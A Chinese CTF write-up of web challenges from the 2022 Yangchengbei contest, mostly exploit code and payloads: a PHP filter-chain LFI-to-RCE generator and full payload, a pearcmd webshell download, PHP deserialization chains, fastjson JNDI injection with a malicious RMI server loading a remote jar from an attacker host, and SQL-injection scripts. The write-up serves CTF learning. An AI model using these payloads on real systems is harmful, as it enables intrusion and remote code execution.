2022羊城杯web部分wp

本文最后更新于：2023年2月9日下午

好久没有写新的文章了，水一个比赛吧

rce_me

源码：

<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
     $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
         foreach($blacklist as $blackword){
           if(stristr($var, $blackword)) return False;
    }
    return True;
}  

if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}

$_SERVER["QUERY_STRING"]可以用url编码绕过

解法一

直接通过pearcmd.php download下载php木马即可

下载后访问1.php即可得到shell，蚁剑连接

最后suid提权即可

解法二

参考陆总的文章：hxp CTF 2021 - The End Of LFI?
一开始想到了，但发现全部字符url编码后太长了报错，发现使用：https://www.chinabaiker.com/cyberchef.htm 就可以很好的编码了
复现一下：
exp：

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=/etc/passwd";

echo $final_payload;

url编码传入

?file=php%3A%2F%2Ffilter%2Fconvert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode%2Fresource%3D%2Fetc%2Fpasswd&0=id

成功getshell

step_by_step-v3

<?php
class yang
{
    public $y1="phpinfo";
}

class cheng
{
    public $c1;
}

class bei
{
    public $b1;
}

$a = new cheng();
$a->c1= new bei();
$a->c1->b1 = new yang();
$b = serialize($a);
echo $b;

发现在phpinfo中存在flag

Safepop

利用PHP垃圾回收机制构造POP链
原题，没啥好说的，直接打就行了

<?php
class Fun{
    private $func;
    public function __construct(){
    $this->func = [new Test,'getFlag'];//也可以写为$this->func = "Test::getFlag";这样由于没有实例化Test类，还不会触发Test里的__wakeup()
    }
}

class Test{
    public function getFlag(){
    }
}

class A{
    public $a;
}

class B{
    public $p;
}

$Test = new Test;
$Fun = new Fun;
$a = new A;
$b = new B;
$a->a = $Fun;
$b->a = $a;

$r = serialize($b);
$r1 = str_replace('"Fun":1:','"Fun":2:',$r);
echo urlencode($r1);

O%3A1%3A"B"%3A2%3A{s%3A1%3A"p"%3BN%3Bs%3A1%3A"a"%3BO%3A1%3A"A"%3A1%3A{s%3A1%3A"a"%3BO%3A3%3A"Fun"%3A2%3A{s%3A9%3A"%00Fun%00func"%3Ba%3A2%3A{i%3A0%3BO%3A4%3A"Test"%3A0%3A{}i%3A1%3Bs%3A7%3A"getFlag"%3B}}}}

simple_json

给了源码，存在JNDIService类，可以通过lookup打jndi注入

存在一个/ApiTest/post，可以打fastjson，但规定了使用的类为Message.class

看一下Message，发现content是Object属性，那么可以设置为我们的JNDIService

然后使用$ref调用 getter，触发getContext()
发现存在Test.java，是一个payload

{"content" : {"@type": "ycb.simple_json.service.JNDIService", "target":"ldap://vps:6666/aaa"}, "msg":{"$ref":"$.content.context"}}

成功接受到rmi请求

发现存在

并且不能直接使用工具打，说明是高版本jdk，那么使用jndi注入打snakeyaml
exp：

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Service {  
    public static void main(String[] args)throws Exception {  
        System.setProperty("java.rmi.server.hostname","vps");  
        System.out.println("[*]Evil RMI Server is Listening on port: 1098");  
        Registry registry = LocateRegistry.createRegistry(1098);
        ResourceRef ref = snakeyaml();  
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);  
        registry.bind("yaml", referenceWrapper);  
    }  
    public static ResourceRef snakeyaml(){  
        ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",  
                true, "org.apache.naming.factory.BeanFactory", null);  
        String yaml = "!!javax.script.ScriptEngineManager [\n" +  
                "  !!java.net.URLClassLoader [[\n" +  
                "    !!java.net.URL [\"http://vps:8888/yaml-payload.jar\"]\n" +  
                "  ]]\n" +  
                "]";  
        ref.add(new StringRefAddr("forceString", "a=load"));  
        ref.add(new StringRefAddr("a", yaml));  
        return ref;  
    }  
}

编译后运行

javac -cp tomcat-embed-core-9.0.52.jar Service.java
java -classpath $CLASSPATH:tomcat-embed-core-9.0.52.jar Service

成功接受到文件，写入内存马即可

https://github.com/passer-W/snakeyaml-memshell

ComeAndLogin

首先扫描目录，发现存在admin.php，但显示我不是admin

直接万能密码登录进去了。。。纯纯的非预期

username=\&password=or/**/1#

预期解是使用mysql8的特性table进行sql注入：

import random
import requests
import sys

url = "http://80.endpoint-5afabbaaa7a74d93a87021fb723a57ca.dasc.buuoj.cn:81/"

flag = ""
a = ""
for m in range(1,200):
    for i in range(33,127):
        num = hex(i)[2:]
        data = {
            "username":"\\",
            "password":"or/**/if(((1,0x4141444d494e4e,0x{})<(table/**/usertablelist/**/limit/**/0,1)),1,0)#".format(flag+num)
            # "password":"or/**/if(((0x646566,0x637466,0x{},0x1,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table/**/information_schema.tables/**/limit/**/328,1)),1,0)#".format(flag+num)
        }
        # print(flag+num)
        r = requests.post(url,data=data)
        if 'login success' not in r.text:
            flag = flag+hex(i-1)[2:]
            if "20" in flag:
                print("exit")
                sys.exit()
            print("0x"+flag)
            break
        else:
            continue

跑出来的都是大写字符串，得到用户名aadminn，密码 eeef3450927e04ebc6952fdbc75c7c41，发现登录不成功，说明要区分大小写
参考：无需“in”的SQL盲注

访问admin.php，然后得到源码

<?php
session_start();

if($_SESSION["admin"] !== True){
    die("You are not admin");
}else{
    highlight_file(__FILE__);
    if(!isset($path)){
        $path = $_POST['path'];
        if ((substr_count($path,'/') < 3)or(substr_count($path,'.') > 0) or (preg_match("/\/\//",$path)) ){
            die("invaild path");
        }

        echo file_get_contents($path);
    }

}

考烂的考点

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag

CTF

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